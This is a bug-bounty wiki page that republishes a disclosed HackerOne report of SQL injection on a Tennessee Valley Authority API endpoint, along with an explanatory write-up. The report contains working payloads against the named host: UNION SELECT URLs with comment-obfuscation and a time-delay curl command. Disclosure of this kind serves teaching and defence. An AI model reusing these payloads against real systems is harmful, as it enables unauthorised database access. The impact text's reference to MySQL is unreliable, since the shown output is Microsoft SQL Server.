Skip to content
SQL injection Disclosed report Beginner

SQL Injection on https://soa-accp.glbx.tva.gov/ via "/api/" path - VI-21-015

The /api/ path on a subdomain was vulnerable to SQL injection, allowing an attacker to execute arbitrary SQL queries. The attacker could extract database information such as the hostname and version.

yassinek3ch Follow

Originally disclosed on HackerOne

Critical 10.0 View original
  • Triaged in 8 hours
  • Fixed in 17 days
  • Disclosed after 13 months

Summary:

i've found this subdomain soa-accp.glbx.tva.gov also is vulnerable to SQLI through /api/ path

Steps To Reproduce:

https://soa-accp.glbx.tva.gov/api/river/observed-data/GVDA1'+%2f*!50000union*%2f+SELECT+HOST_NAME()--+- hostname dumped

https://soa-accp.glbx.tva.gov/api/river/observed-data/GVDA1'+%2f*!50000union*%2f+SELECT+@@version--+-

Microsoft SQL Server 2017 (RTM-CU22-GDR) (KB4583457) - 14.0.3370.1 (X64) \n\tNov 6 2020 18:19:52 \n\tCopyright (C) 2017 Microsoft Corporation\n\tEnterprise Edition (64-bit) on Windows Server 2012 R2 Standard 6.3 <X64> (Build 9600: ) (Hypervisor)\n

also you can retest it through time bassed trick

time curl -k "https://soa-accp.glbx.tva.gov/api/river/observed-data/-GVDA1'+WAITFOR+DELAY+'0:0:10'--+-"

Screenshot_2021-03-15_at_09.47.58.png
Screenshot_2021-03-15_at_09.47.58.png From the original on HackerOne

Impact

An attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.

The original report as published on HackerOne, by yassinek3ch. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application concatenated user input directly into SQL queries without parameterisation or input validation.

Impact

An attacker could manipulate SQL statements to change query logic and potentially access or alter database data.

What the attacker needed

None

How it was found

  1. Send a crafted request to the /api/river/observed-data/ endpoint with a payload that includes a UNION SELECT to retrieve the hostname.
  2. Send a similar request with a payload that includes a UNION SELECT to retrieve the database version.
  3. Optionally, send a request with a time-delay payload to confirm the injection via response timing.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted directly into a database query without proper handling, letting an attacker change the query's meaning. Here, the API endpoint took a parameter and passed it to the database unsafely, so the attacker could add extra SQL commands to retrieve data like the server's hostname and database version.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by yassinek3ch

View all

2 more disclosed reports, best first.

More from Tennessee Valley Authority

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.